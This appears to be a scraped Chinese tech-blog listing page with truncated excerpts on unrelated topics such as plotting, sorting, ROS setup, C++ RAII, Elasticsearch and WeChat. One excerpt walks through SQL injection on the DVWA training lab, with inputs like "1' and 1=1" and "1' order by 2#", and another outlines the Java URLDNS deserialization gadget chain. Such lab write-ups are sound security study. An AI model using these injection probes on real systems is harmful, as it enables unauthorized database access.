“简 介&#xff1a; 如果你是一个急性子的电子狂热者&#xff0c;那么快速PCB制作是一个可以让你把硬件开发变得和软件开发一样容易的技术。掌握它&#xff0c;可以事半功倍&#xff0c;抚平你那躁动的狂野心灵。关键词&#xff1a; PCB&#xff0c;快速制版&#xff0c;热转印…...

【Matplotlib绘制图像大全】(十九):Matplotlib绘制等高线

前言 大家好,我是阿光。 本专栏整理了《Matplotlib绘制图像大全》,内包含了各种常见的绘图方法,以及Matplotlib各种内置函数的使用方法,帮助我们快速便捷的绘制出数据图像。 正在更新中~ ✨ 🚨 我的项目环境: 平台:Windows10语言环境:python3.7编译器:PyCharmMatp…...

NOI / 1.10编程基础之简单排序 09:明明的随机数

09:明明的随机数 查看提交统计提问 总时间限制: 1000ms 内存限制: 65536kB 描述 明明想在学校中请一些同学一起做一项问卷调查&#xff0c;为了实验的客观性&#xff0c;他先用计算机生成了N个1到1000之间的随机整数&#xff08;N≤100&#xff09;&#xff0c;对于其中…...

排序-选择类排序

问题描述 【问题描述】 实现简单选择排序、堆排序。 【输入形式】 输入2组待排序序列。 第一行为待简单选择排序数据个数n, 第二行为待简单选择排序的n个数据; 第三行为待堆排序数据个数m, 第四行为待堆排序的m个数据。 【输出形式】 输出分别使用简单选择排序、堆排序的排序…...

ROS安装中rosdep init和update一定成功的方法

1 sudo rosdep init 出现网络问题 lzxlzx:~$ sudo rosdep init ERROR: cannot download default sources list from: https://raw.githubusercontent.com/ros/rosdistro/master/rosdep/sources.list.d/20-default.list Website may be down.好多CSDN中说是网络问题&#xff0c…...

逻辑斯蒂回归、朴素贝叶斯

逻辑斯蒂回归 逻辑斯蒂分布(增长分布)&#xff1a;F(X) P(X<x) 1/(1e^(-(X-u)/γ)) 该分布曲线以&#xff08;u&#xff0c;1/2&#xff09;作为中心对称点 sigmod函数&#xff08;亦称作Logistic函数&#xff09; 作用&#xff1a;将一个实数映射到&#xff08;0&#x…...

Anaconda下pytorch的详细安装步骤

Anaconda下pytorch的详细安装步骤 文章目录Anaconda下pytorch的详细安装步骤准备工作1.安装Anaconda2.Cuda安装pytorch1.Anaconda下新建pytorch环境2.安装pytorch准备工作 1.安装Anaconda 安装Anaconda后 依次输入以下指令&#xff0c;切换到国内的镜像源&#xff08;懂得都…...

【牛客网——算法刷题】开篇介绍

个人简介&#xff1a; > &#x1f4e6;个人主页&#xff1a;赵四司机 > &#x1f3c6;学习方向&#xff1a;JAVA后端开发 > &#x1f4e3;种一棵树最好的时间是十年前&#xff0c;其次是现在&#xff01; > &#x1f514;博主推荐网站&#xff1a;牛客网 刷题|面…...

鲁棒性和抗扰性

以前一直以为鲁棒性和抗扰性是一个东西&#xff0c;直到看见一句话&#xff0c;“系统的鲁棒性将减弱&#xff0c;但抗扰作用将增强” &#xff0c;就去搜了一下二者的具体区别&#xff0c;以下是我个人的理解。 鲁棒性&#xff1a; 鲁棒性是指系统对于自身内部发生改变所受影…...

为什么要让img浮动:

为什么要浮动&#xff1a; 图片不浮动的话&#xff0c;图片和文字是像下面这样排版的&#xff1a; 代码&#xff1a; <img src"https://static.maizuo.com/pc/v5/usr/movie/1f25dd6943762288dfd84b961c98f478.jpg" /> <div><div>红发歌姬</d…...

编写Makefile中的规则

编写规则 一个规则出现在makefile中&#xff0c;说明何时以及如何重新创建某些文件&#xff0c;这些文件称为规则的目标&#xff08;通常只有一个&#xff09;。它列出了作为目标先决条件的其他文件&#xff0c;以及用于创建或更新目标的方法。 规则的顺序并不重要&#xff0…...

URLDNS链

听说这个链子是最简单的链子之一了&#xff0c;但是却是来来回回看了好多遍才勉强看明白。 在 ysoserial 中我们可以看见链子是这样的&#xff1a; *Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() 简单流程&#xff1a; 1.Hash…...

那些好玩的生成器网站(二)

苏生不惑第105 篇原创文章&#xff0c;将本公众号设为星标&#xff0c;第一时间看最新文章。之前写过 那些好玩的生成器网站 &#xff0c;这里继续整理些好玩的生成器网站。生成小瓶子最近微博上的话题 #小瓶子涂鸦大赛#很火。小瓶子的状态代表你对事物喜好的程度&#xff0c;喜…...

mysql5.7执行SQL死锁问题的定位方法

1、先登陆数据库mysql -uroot -p&#xff0c;然后使用命令&#xff1a;show engine innodb status; 在命令的输出结果中&#xff0c;找到“LATEST DETECTED DEADLOCK”。 从这段内容中在找到产生死锁的SQL语句&#xff08;比如&#xff1a;replace into 和delete语句&a…...

【C++】什么是RAII?

什么是RAII RAII&#xff08;Resource Acquisition Is Initialization&#xff09;是由c之父Bjarne Stroustrup提出的&#xff0c;中文翻译为&#xff1a;资源获取即初始化。 是C的一种资源管理&#xff0c;避免资源未释放的机制。 如何理解RAII 资源获取即初始化不太好理解…...

RAII机制的了解

RAII机制说明定义作用例子说明 菜鸡一只&#xff0c;有不对的地方希望指出&#xff0c;感谢指导。目前仍在努力学习当中&#xff0c;希望大家能一起进步。 定义 RAII机制&#xff08;Resource Acquisition Is Initialization&#xff09;&#xff0c;意思是“资源获取即初始…...

C++——RAII机制

文章目录我们知道&#xff0c;资源的使用一般经历三个步骤 a.获取资源 b.使用资源 c.销毁资源 资源的销毁往往是程序员经常忘记的一个环节&#xff0c;忘记销毁资源可能会造成内存泄露&#xff0c;怎么解决呢&#xff1f;——RAII RAII&#xff1a;Resource Acquisition Is I…...

C++ RAII

为什么80%的码农都做不了架构师&#xff1f;>>> C RAII RAII是resource acquisition is initialization的缩写&#xff0c;意为“资源获取即初始化”。它是C之父Bjarne Stroustrup提出的设计理念&#xff0c;其核心是把资源和对象的生命周期绑定&#xff0c;对…...

RAII机制

1.c中的类有自动调用析构函数的功能。 #include <iostream> using namespace std; class ArrayOperation { public : ArrayOperation() { m_Array new int [10]; } void InitArray() { for (int i 0; i < 10; i) { *(m_Array i) i; } } void ShowArray() { fo…...

c语言 raii 用法日志,C 语言实现 RAII

尽管有许多的争议&#xff0c;但我还是觉得 C 中的 RAII 惯用法是个好东西&#xff0c;也是写 C 代码时唯一怀念的 C 特性。下面是一些 C 语言实现 RAII 的方法&#xff1a;gcc#define RAII_VARIABLE(vartype,varname,initval,dtor) \void _dtor_ ## varname (vartype * v) { d…...

闲鱼话术,必须收藏

今天分享&#xff1a;闲鱼卖货&#xff0c;常用的客服话术。建议收藏 很多学员&#xff0c;货也上了&#xff0c;有人咨询的时候忽然手忙脚乱&#xff0c;懵啊&#xff0c;怎么感觉没人问期待有人问&#xff0c;有人问&#xff0c;自己啥也说不出来了呢?哈哈&#xff0c;不知…...

RAII + 接口模式

问题提出&#xff1a; 我们做事一般都有一套完整的流程比如&#xff1a;脱衣服——洗澡——穿衣服&#xff0c;如果用户操作直接不脱衣服从洗澡开始&#xff0c;那么程序可能就会出问题&#xff0c;例如定义一个一般的类模拟推理过程&#xff1a; //提出问题 class Infer{ pu…...

c语言 raii 用法日志,RAII 妙用之 ScopeExit

原标题&#xff1a;RAII 妙用之 ScopeExit什么是RAIIResource Acquisition Is Initialization&#xff0c; 资源获取即初始化&#xff0c;将资源的生命周期与一个对象的生命周期绑定&#xff0c;举例来说就是&#xff0c;把一些资源封装在类中&#xff0c;在构造函数请求资源&a…...

C++RAII机制(智能指针原理)

原文详细整理 C中的RAII机制 - 码到城攻RAII机制&#xff0c;是C语言的一种管理资源、避免泄漏的惯用法https://www.codecomeon.com/posts/200/ 何为RAII RAII 是 Resource Acquisition Is Initialization 的简称&#xff0c;是C语言的一种管理资源、避免泄漏的惯用法。利用的…...

RAII与智能指针

什么是RAII&#xff1f; RAII是Resource Acquisition Is Initialization&#xff08;wiki上面翻译成 “资源获取就是初始化"&#xff09;的简称&#xff0c;是C语言的一种管理资源、避免泄漏的惯用法。利用的就是C构造的对象最终会被销毁的原则。RAII的做法是使用一个对象…...

RAII技术学习

“Resource Acquisition is Initialization” 资源获取即初始 一,什么是RAII RAII中的R代表资源&#xff0c;计算机中的一切可由程序员管理的&#xff0c;如指针的申请的内存&#xff0c;开启占用的文件描述符&#xff0c;创建与销毁的锁等等 对于资源的一般操作即就是 申请…...

RAII机制原理分析

本文转载自&#xff1a; https://blog.csdn.net/wozhengtao/article/details/52187484 前言 RAII的基本思想就是当对象的生命周期结束时&#xff0c;自动调用起析构函数。那以下将围绕RAII&#xff0c;全面的讲解RAII的相关知识。 什么是RAII RAII的英文全拼是Resource Acqu…...

RAII技术与智能指针(超详细)

RAII技术与智能指针RAII技术与智能指针RAII技术什么是RAII技术实现原理特征作用值语义与对象语义的区分RAII代码格式测试代码(Computer类的实现)结论智能指针auto_ptrauto_ptr介绍auto_ptr的特点auto_ptr的成员函数constructoroperatoroperator*operator->getresetreleaseau…...

RAII机制介绍

RAII机制介绍 RAII全程为Resource Acquisition Is Initialization&#xff08;资源获取即初始化&#xff09;&#xff0c;RAII是C语法体系中的一种常用的合理管理资源避免出现内存泄漏的常用方法。以对象管理资源&#xff0c;利用的就是C构造的对象最终会被对象的析构函数销毁…...

RAII详解

什么是RAII&#xff1f; RAII是Resource Acquisition Is Initialization&#xff08;wiki上面翻译成 “资源获取就是初始化”&#xff09;的简称&#xff0c;是C语言的一种管理资源、避免泄漏的惯用法。利用的就是C构造的对象最终会被销毁的原则。RAII的做法是使用一个对象&am…...

RAII

RAII&#xff08;Resource Acquistion Is Initialization&#xff09;是C的一种管理资源、避免泄露的惯用法。利用的就是C构造的对象最终会被销毁的原则。RAII的做法是使用一个对象&#xff0c;在其构造时获取相应的资源&#xff0c;在对象生命期内控制对资源的访问&#xff0c…...

C++之RAII技术解析

RAII 是 Resource Acquisition Is Initialization(资源获取即初始化)的缩写。RAII 是C 中常用的一种编程技术&#xff0c;具体是指必须在使用前获取的资源&#xff08;如栈内存&#xff0c;线程&#xff0c;文件&#xff0c;锁&#xff0c;数据库连接&#xff0c;磁盘空间&…...

C++程序设计机制:RAII机制

1、背景 C/C程序开发中&#xff0c;管理堆上分配的内存容易出错&#xff0c;常见的就是内存泄漏。原则上&#xff0c;只要我们足够仔细&#xff0c;在每一次动态分配内存之后&#xff0c;使用完毕后&#xff0c;手动delete即可释放掉内存&#xff0c;可是这必然会加大我们的工…...

pdfbox在pdf的尾部添加数据

maven <dependency><groupId>org.apache.pdfbox</groupId><artifactId>pdfbox</artifactId><version>2.0.25</version> </dependency>Java 代码块 // 要加载的文件 PDDocument doc PDDocument.load(new File("读取文件…...

部门主管的管理职能:计划、组织、领导、控制

尽管企业的类型、规模和担任的职务可能不同&#xff0c;但所有管理者的工作都包括计划、组织、领导和控制等四大职能。部门主管也不例外。 一、计划&#xff1a;设定目标并决定如何去实现目标。 战略计划 任何一个企业都必须清楚自己未来的发展方向。战略计划就是为企业未来绘制…...

实习技术员的基本功(八)

序言&#xff1a; PDC加一度螺杆以复合钻的形式达到了造斜点后&#xff0c;起钻换牙轮钻头&#xff0c;通过两者钻进的进尺和钻时&#xff0c;寿命及起出钻头的状况对比。体会了一把它们之间的不同。加深了印象。PDC是低钻压高转速&#xff0c;一般在实际操作中&#xff0c;我们…...

实习技术员的基本功(四)

序言 经过前三集的介绍&#xff0c;我们对技术员的工作生活内容有了个入门级别的了解。总体来说&#xff0c;技术员要负责井队中的方方面面&#xff0c;领导问你的问题总是全局的&#xff0c;所以我们也要对井队各个方面有所了解&#xff0c;方能面对领导时很从容。 在《实习技…...

Cascade R-CNN: Delving into High Quality Object Detection(个人学习笔记)

论文基本信息 标题&#xff1a;Cascade R-CNN: Delving into High Quality Object Detection作者&#xff1a;Zhaowei Cai&#xff0c;Nuno Vasconcelos机构&#xff1a;UC San Diego来源&#xff1a;CVPR2018时间&#xff1a;2017/12/03链接&#xff1a;https://arxiv.org/ab…...

计算机种的low-level与high-level

在计算机行业里面&#xff0c;low-level与high-level代表的含义并不是字面意思上的“低级”和“高级”。例如&#xff1a;低级语言、高级语言&#xff0c;并不是语言“低级”或“高级”&#xff0c;而是代表层次。 low-level&#xff1a; 接近原始&#xff0c;最初的那层东西&…...

一起来猜数游戏吧

功能&#xff1a;猜数游戏 作者&#xff1a;文雅兰 日期&#xff1a;2021年11月26日import randomwhile True:target random.randint(1, 100)x int(input("Try to guess the number im think of:"))while True:if x > target:x int(input("TOO high&#…...

说说Kafka水位(high watermark)与日志末端位移(log end offset)

分析&回答 水位或水印&#xff08; watermark &#xff09;一词&#xff0c;也可称为高水位 (high watermark) &#xff0c;通常被用在流式处理领域&#xff08;比如Apache Flink、Apache Spark等&#xff09;&#xff0c;以表征元素或事件在基于时间层面上的进度。一个比较…...

动起来!好玩的CSS抖动样式 – High一下

csshake http://www.shejidaren.com/css-shake-animation.html Github: https://github.com/elrumordelaluz/csshake 分享一个超“high”的代码 酷壳&#xff1a;http://coolshell.cn/ http://www.phperzone.cn/portal.php High一下效果的网站 http://blog.sina.com.cn/…...

(论文解读)High-frequency Component Helps Explain the Generalization of Convolutional Neural Networks

目录论文解读之&#xff1a;High-frequency Component Helps Explain the Generalization of Convolutional Neural Networks一、写在前面1、文章主要内容概述2、Label Shuffling二、贡献三、符号说明四、高频成分与CNN的泛化能力五、重新考虑数据六、训练技巧七、从对抗学习发…...

[论文阅读] Contextual Residual Aggregation for Ultra High-Resolution Image Inpainting

Contextual Residual Aggregation for Ultra High-Resolution Image Inpainting 作者 | Zili Yi, Qiang Tang, Shekoofeh Azizi, Daesik Jang, Zhan Xu 单位 | 华为技术有限公司&#xff08;加拿大&#xff09; 代码 | https://github.com/Ascend-Huawei/Ascend-Canada/tree/ma…...

DISN:Deep Implicit Surface Network for High-quality Single-view 3D Reconstruction

时间&#xff1a;2019年 作者&#xff1a;Weiyue Wang ,University of Southern California etc. Abstract&#xff1a; 1.DISN 通过预测基本符号距离场来从二维图像中生成高质量的细节丰富的三维网格&#xff1b; 2.DISN 在二维图像上预测每一个三维点的投影位置&#xff…...

High-Level Synthesis高级综合,跨越软硬件编码的隔阂

能将C语言转换成硬件编码语言的高级综合HLS&#xff0c;跨越软硬件编码的隔阂&#xff0c;将软件编码的功能性与硬件编码的高速性结合起来&#xff0c;借助一些不断改进中的HLS工具&#xff08;FPGA三巨头争破头&#xff09;&#xff0c;已然构成了一个时新的行业。虽然大多数H…...

HLA-Face: Joint High-Low Adaptation for Low Light Face Detection

Wenjing Wang, Wenhan Yang, Jiaying Liu* Wangxuan Institute of Computer Technology, Peking University, Beijing, China 作者将图像的高-低级信息联合起来&#xff0c;进行求解无监督弱光环境下的人脸检测问题。 作者认为正常光图像和弱光图像之间的差距不仅是lo…...

Vivado HLS(High-level Synthesis)笔记一:HLS基本流程

前言 实验室项目需要&#xff0c;需要将在服务器段跑出的网络参数配置到FPGA上&#xff0c;一种方法是直接利用verilog或者vhdl直接去写一个网络的前向传播模型&#xff0c;另一种就是用 C/C 来描述网络的前向传播模型&#xff0c;然后利用Vivado的HLS将其转化为硬件描述语言—…...

PyTorch学习笔记(19) ——NIPS2019 PyTorch: An Imperative Style, High-Performance Deep Learning Library

0. 前言 波兰小哥Adam Paszke从15年的Torch开始&#xff0c;到现在发表了关于PyTorch的Neurips2019论文(令我惊讶的是只中了Poster&#xff1f;而不是Spotlight&#xff1f;)。中间经历了漫长的过程。这里&#xff0c;把原文进行翻译放出来&#xff0c;以供读者了解这几个问题…...

Recovering High Dynamic Range Radiance Maps from Photographs

Abstract We present a method of recovering high dynamic range radiance maps from photographs taken with conventional imaging equipment. In our method, multiple photographs of the scene are taken with different amounts of exposure. Our algorithm uses thes...

Springboot整合Elasticsearch(High-level-Client)

前言 通过学习Elasticsearch一小段时间来稍微认识了一点ES的体系架构。发现ES最大的坑就是版本兼容性问题了—在整合Springboot也不例外&#xff0c;但是&#xff0c;有一种方式能较好的解决—通过restclient。 项目github地址springboot_elasticsearch求star 内容 当前spr…...

High-Resolution Net(HRNet) 论文笔记

前言 现在许多2D人体姿态估计网络采用的是Hourglass&#xff0c;SimpleBaseline等&#xff0c;它们都是将high-to-low分辨率的子网串联起来&#xff0c;然后再将低分辨率特征图恢复至高分辨率&#xff0c;如下图所示&#xff1a; &#xff08;a&#xff09;是Hourglass&…...

Kubernetes Master High Availability 高级实践

才云科技云开源高级工程师唐继元受邀DBAplus社群&#xff0c;在线分享《Kubernetes Master High Availability 高级实践》&#xff0c;介绍如何构建Kubernetes Master High Availability环境。以下是分享实录&#xff1a;大家好&#xff0c;我是才云科技的唐继元&#xff0c;今…...

Real-Time High-Resolution Background Matting

Real-Time High-Resolution Background Matting论文链接&#xff1a;https://arxiv.org/pdf/2012.07810.pdf发表出处&#xff1a;2020 CVPR1.研究背景虽然现在许多工具提供了背景替换功能&#xff0c;但是它们会在边界产生伪影&#xff0c;特别是在有细微细节的区域&#xff0c…...

DVWA sql注入(high)

有了前两关的基础&#xff0c;现在做起来&#xff0c;比较得心应手了 现在开始&#xff1a; 1.输入1 输入1 and 11 输入1 and 12 由此可见&#xff0c;这也是一个字符型的注入 2.获取字段数 输入1 order by 2# 输入1 order by 3# 由此可见&#xff0c;字段数是2&#xff0c…...

Qt High DPI Displays

目录一 相关属性1 Qt::AA_EnableHighDpiScaling2 Qt::AA_DisableHighDpiScaling二 High DPI Displays (高DPI显示)1 Issues with High DPI (高DPI问题)2 Qt High DPI Support Overview (Qt 高DPI支持概述)3 Operating System Support (操作系统支持)4 High DPI Support in Qt (…...

H5页面上也能发起投票,让朋友圈HIGH起来!

我们经常在朋友圈里看到有人分享投票的活动&#xff0c;号召朋友们为他投票&#xff0c;票数最多的前几名可以获得奖品。这类投票活动非常受营销公司的欢迎&#xff0c;用户的参与度非常高&#xff0c;给营销公司带来的粉丝量非常可观。但是&#xff0c;使用这类投票平台的成本…...

swagger-doc 让你high起来的swagger

swagger-doc 项目地址 http://git.oschina.net/wangkang_daydayup/swagger-doc 重点先说说这个项目解决了什么问题 这个项目跟swagger有着很大的联系&#xff0c;总得来说是给swagger解决了大部分人不想用swagger的问题&#xff0c;污染代码。大家可以来看看这是我之前用sw…...

python动态生成变量名以及python函数的命名规则这样的疑问

python动态生成变量名以及python函数的命名规则这样的疑问&#xff0c;小编汇总了相关问答给大家参考&#xff01; 1.模块名一般使用全部小写 如 myphone 2.类名第一个字母大写&#xff0c;如果有多个单词&#xff0c;每一个单词的第一个字母大写如 : MyPhone 3.函数名 &#x…...

物联网时代,物联网卡推动无线城市新格局

随着社会的不断进步和科技水平的不断提升&#xff0c;我国的无线城市技术也得到了突飞猛进的进步&#xff0c;也为新的城市发展添加了新的动力。虽然我国的城市建设起步较早&#xff0c;但是从整体上来说发展进度非常缓慢&#xff0c;然而又随着近几年移动互联网物联网技术的快…...

刷脸支付伟大的时代造就新商业格局变革

随着科技的快速发展&#xff0c;科技慢慢改变我们的生活环境&#xff0c;不仅如此&#xff0c;购物方式、沟通方式和支付方式也发生了巨大的改变&#xff0c;高效、便捷已经成为当下人们追求的一种生活方式&#xff0c;越来越多高效便捷的产品受到人们的青睐。 伟大的时代造就…...

加快构建以国内大循环为主体、国内国际双循环相互促进的新发展格局

加快构建以国内大循环为主体、国内国际双循环相互促进的新发展格局 2021年1月11日&#xff0c;省部级主要领导干部学习贯彻党的十九届五中全会精神专题研讨班开班式指出&#xff0c;加快构建以国内大循环为主体、国内国际双循环相互促进的新发展格局&#xff0c;是“十四五”规…...

虎牙、斗鱼正式达成合并协议;​中国广电正式成立,或催生5G发展新格局;Linux 5.9 释出|极客头条

整理 | 郑丽媛 头图 | CSDN 下载自东方 IC 「极客头条」—— 技术人员的新闻圈&#xff01; CSDN 的读者朋友们早上好哇&#xff0c;「极客头条」来啦&#xff0c;快来看今天都有哪些值得我们技术人关注的重要新闻吧。 国内要闻 虎牙、斗鱼正式达成合并协议 10月12日晚&…...

当前国际国内经济形势分析 - 中国人民大学黄卫平

前两天听了&#xff0c;中国人民大学世界经济研究中心主任黄卫平教授的一堂课&#xff0c;关于当前国际国内经济形势分析的内容&#xff0c;课程内容丰富多彩&#xff0c;从多个维度分析了我国经济发展和制度建设的来龙去脉&#xff0c;非常精彩&#xff0c;由于本人能力有限&a…...

如果格局决定了人生,那么到底什么决定了格局?

格局&#xff0c;也许就是见识二字了&#xff0c;见—-识&#xff01; 1.你的天花板&#xff0c;只是别人的起点 是天花板足够高&#xff0c;是展现人生抱负、实现人生价值。 2.社会的真相是&#xff1a;越优秀的往往越优秀 我们小时候&#xff0c;都看过比尔盖茨白手起家、…...

未来世界格局

注&#xff1a;本文总结自金灿荣在香港大学的演讲 唯一确定的是不确定&#xff1a;未来10年是不确定的。 -- 题记 地理形态决定经济形态&#xff0c;经济形态决定文化形态。 西方的源头是商业文化&#xff0c;长子继承&#xff0c;其余儿子只能殖民。大航海需要几何学、又由…...

VisionMobile:2012年移动开发者经济报告(三):一、新格局看似尘埃落定(中)

生态系统在两个维度上扩张 2008年现代应用商店出现时&#xff0c;移动应用生态系统组成主要是“长尾”上的个人开发者和小公司&#xff0c;他们的应用未能在大众中广受欢迎。两年后&#xff0c;“短头”上的高调大众应用不断增加&#xff0c;源于传统数字媒体公司和书籍、视频和…...

OperaMasks能否开创Java Web新格局

OperaMasks全国巡演拉响了国产Web框架反击的号角&#xff0c;也让沉寂了很久的Java Web领域喧闹了起来。 那么什么是OperaMasks? 它是一个以JSF为基础引擎、基于JSF规范的、开箱即用的Java Web层框架。选择JSF为基础引擎&#xff0c;在我看来&#xff0c;至少有三大优势。一是…...

VisionMobile:2012年移动开发者经济报告(二):一、新格局看似尘埃落定(上)

一、新格局看似尘埃落定 移动应用现象持续扰动业界&#xff0c;在2012年达到更深远的里程碑。 智能手机和平板取代浏览器&#xff0c;成为移动服务开发和部署的新主流“平台”。2012年Q1&#xff0c;智能手机出货量为145M&#xff0c;占全部手机销售36%&#xff0c;超过了PC和笔…...

腾讯智慧零售数字增长峰会:私域新生态,增长新格局

9月10日&#xff0c; 2020 腾讯全球数字生态大会零售专场暨智慧零售数字增长峰会于云上召开。这次大会上&#xff0c;腾讯高级副总裁、腾讯广告&腾讯智慧零售负责人林璟骅发表了《私域新生态&#xff0c;增长新格局》的主题演讲&#xff0c;深度阐述了腾讯智慧零售关于私域…...

深圳市福田高中2021年高考成绩查询,2020年深圳高中梯队排行一览!2021年十大或有新格局?...

学豆整理了2020年中考录取分数线的一些动态变化&#xff0c;最大的变化&#xff0c;家长们从分数线可看出&#xff0c;“四大”和“十大”都有了明显的洗牌现象&#xff0c;我们仔细整理了2020年最新高中梯队学校&#xff0c;并且挖掘一些新的潜力学校。在学豆的眼里&#xff0…...

【干货】2020年陆奇最新万字演讲:世界新格局下的创业创新机会.pdf(附下载链接)...

大家好&#xff0c;我是文文&#xff08;微信号&#xff1a;sscbg2020&#xff09;&#xff0c;今天给大家分享陆奇博士2020年12月19日在深圳做的一场主题演讲《世界新格局下的创业创新机会.pdf》,在接近2个小时的演讲中&#xff0c;陆奇博士分析了当前世界正在形成的新格局以及…...

信息化将从单一IT走向CT为辅,IT与OT融合新格局

CT: Communication Technology OT: Operation Technology IT: Information Technology 2020年一场黑天鹅事件&#xff0c;叫人们从未这么深刻地感受到社会停滞与经济暂停&#xff0c;也从未感受到信息成为了这么重要的资源。健康码使人员的流动成为了可能&#xff0c;直播带货…...

数字化转型新物种,华为IdeaHub激发百亿智能生态新格局

一个智能硬件新物种能带来怎样的智能生态格局变化&#xff1f;市场调查公司Analysis Group报告显示&#xff0c;2019年苹果App Store为全球带来了超过5000亿美元的账单和销售额&#xff0c;仅中国市场规模就高达2460亿美元。2020年4月&#xff0c;华为发布了智能硬件新物种“华…...

读书笔记——上瘾:让用户养成使用习惯的四大产品逻辑

总结 书中核心逻辑就是下面这张图&#xff0c;上瘾的过程由四步组成&#xff1a; 下面以我自己为案例&#xff0c;从四个维度分析&#xff1a;魔兽世界、写博客&#xff0c;这两件事情。 1 触发、行动 行动的目标是获取酬劳。书中提到《福格行为模型》 福格行为模型&…...

idea导入子模块不在一个级别问题

原因是导入的模块所在的路径不在当前父模块的路径之下&#xff0c;解决办法&#xff0c;复制到父模块的路径在导入即可。 1 点击项目结构菜单 2 点击模块&#xff0c;选择导入模块&#xff0c;选择模块所在的路径。 3 导入成功如下 发现他们在同一级别上&#xff0c;显然是不行…...

nginx操作详细解析和演示(图文并茂)——反向代理,负载均衡

1.工具软件 链接&#xff1a;https://pan.baidu.com/s/1y94VbQV4IQgpxgNoq2vi4A?pwd7kj0 提取码&#xff1a;7kj0 用的windows版本演示 解压下来只至少要有这几个文件 2.配置文件解读 进入到conf文件下 打开nginx.conf文件 worker_processes worker_processes 1; 默认为…...

Spring Boot学习之集成Dubbo+Zookeeper小案例

文章目录一 框架搭建1. [Dubbozookeeper下载和安装](https://blog.csdn.net/yang2330648064/article/details/128790320)二 项目创建2.1 服务者部分2.2 消费者部分2.3 注意点2.3.1 在service的实现类中配置服务注解&#xff0c;发布服务&#xff01;注意导包问2.3.2 服务接口的…...

freeRTOS在28388 CM核上的移植

TI-28388 DSP有2个C28x核和一个CM核(ARM cortex-M4)&#xff0c;都可以运行TI官方提供的SYS/BIOS操作系统&#xff0c;本文介绍在CM核上移植freeRTOS的过程&#xff0c;并通过freeRTOS控制开发板上的一个led。 一、准备材料 TMDSCNCD28388D controlCARD评估板CCS v10.2.0C200…...

朋也社区 v5.2.0 更新,新增手机号,微信登录外加主题一套

开发四年只会写业务代码&#xff0c;分布式高并发都不会还做程序员&#xff1f; 更新内容&#xff1a; 新增了手机号登录新增了微信登录新增了一套simple主题&#xff0c;可在后台直接切换&#xff0c;无需重启修复若干bug优化若干体验开源地址&#xff1a;https://github.co…...

涨知识了!原来删除微信朋友圈内容这么简单,4种方法轻松解决

微信是使用人数最多的社交APP之一&#xff0c;相信大家的微信好友基本上都是七大姑八大姨、同学、朋友等认识的人。 不过人总有年少轻狂的时候&#xff0c;到现在回看那些朋友圈内容&#xff0c;总是让自己有点不好意思。今天笔者教大家如何清理朋友圈的内容&#xff0c;下面就…...

html ios返回后刷新页面,Ios中微信页面返回上一页去除缓存几种常见思路

前言这篇文章和第&#xff0c;。年过事工宗据指数遍互业经搞断果会主要讲解决思路&#xff0c;不对各种概念进行抖要支圈者器说是事天开的。年后编定功口小发还应久剑过多讲解。问题描述开发微信H5页面的时候&#xff0c;在Ios微信内置浏览器中点击返回按钮返回上一页时&#x…...

写一个微信朋友圈的测试用例

由于第一次编写测试用例&#xff0c;若有不完整的地方&#xff0c;欢迎指正&#xff01;&#xff01;&#xff01; 首先将微信朋友圈分成以下模块&#xff1a; 1、点赞功能 1、网速对点赞的影响 2、点赞的人个数显示是否正确 3、共同好友能否看到点赞状态 4、能否显示点赞…...

三星安卓4.2手机微信字体缺陷:“兹崖幽噩弱器朋鹏网品晶磊弼” ttf 字体缺失,安卓 4.2.2 微信 6.5.4...

下列几个字无法在微信内显示&#xff1a; 阿尔兹海默氏病 山崖弼马温 一帘幽梦 一场噩梦弱爆了 机器猫 好朋友&#xff0c;大鹏展翅网络 产品晶体 光明磊落 淼森垚鑫矗焱众兹、幽、噩、弱、器、朋、鹏、网、品/***  ┏┓   ┏┓ * ┏┛┻━━━┛┻┓ * ┃      …...

25 行代码生成微信朋友圈的爱心九宫格

文 | 某某白米饭来源&#xff1a;Python 技术「ID: pythonall」情人节到了&#xff0c;小伙伴们给女朋友买礼物了吗&#xff1f;都有在朋友圈发亿点点狗粮吗&#xff1f;今天小编就教大家在朋友圈发爱心九宫格图片&#xff0c;让女朋友心情更美丽并且有求必应。上成品图&#x…...

php手机网站分享代码,微信分享代码把下面的代码复制到手机端内容页就可以!分享朋友朋,迅睿CMS,CodeIgniter技术文档,PHP开发文档,迅睿CMS框架官方教程...

迅睿微信分享代码&#xff0c;把下面的代码复制到手机端内容页就可以&#xff01;{php \Phpcmf\Service::C()->init_file(weixin);$signPackage \Phpcmf\Service::L(jssdk, weixin)->GetSignPackage();}wx.config({appId: <?php echo $signPackage["appId&quo…...

微信JSAPI模式与浏览器类型安全访问

引言&#xff1a;微信浏览器是在微信安装时内置在微信中的&#xff0c;针对浏览器的类型我们可以设置相应的安全策略——仅允许在微信内置浏览器中打开。 本文选自《微信企业号开发完全自学手册》。 1 JSAPI模式介绍在介绍JSAPI模式之前&#xff0c;首先需要介绍一下微信内置浏…...

Springboot简便的配置微信小程序

Springboot简便的配置微信小程序 ShareNotes 最近在完成一个微信小程序项目&#xff0c;即将上线 欢迎star Github–ShareNotes issue 写小程序接口遇到的具体情况 通过openId登录。也就是所谓的微信点击直接登录。不需要输入账户密码使用微信自带的api过滤不合法的字符或…...

c++IO流!!!开工了!!!

1.什么是IO流 流是若干个字节组成的字节序列&#xff0c;简单来说指的是就是数据从一端到另一端 键盘到程序——>标准输入流程序到屏幕——>标准输出流程序到文件——>文件流 流类体系&#xff1a;一些体系管理输入和输出的流的操作 输入流输出流文件流 ios类 istream…...

芝麻信用免押接入租赁小程序全套

芝麻信用免押接入租赁小程序全套 区块链全套 保险接入...

Android自定义控件 芝麻信用分雷达图

本文已授权微信公众号&#xff1a;鸿洋&#xff08;hongyangAndroid&#xff09;在微信公众号平台原创首发。 1.介绍 首先看下支付宝上芝麻信用分的效果图&#xff1a; 2.思路 确定雷达图中心点坐标绘制多边形及连接线根据维度值绘制覆盖区域绘制分数绘制每个维度的标题文字和…...

android模拟支付宝芝麻信用(上)

先来看一下支付宝的&#xff0c;这是看到别的感觉评分啥会用得到&#xff0c;然后写了一下 现在的话六角形是写死&#xff0c;阴影范围用的随机数&#xff0c;字也是自定义的&#xff0c;这个都可以放到构造方法&#xff0c;写成get&#xff0c;set方法&#xff0c;后期去改&am…...

芝麻信用接口

class ZmxyController extends Controller {//芝麻信用网关地址public $gatewayUrl "https://zmopenapi.zmxy.com.cn/openapi.do";//商户公钥文件//芝麻公钥文件public $privateKeyFile "rsa_private_key.pem";public $zmPublicKeyFile "rsa_publi…...

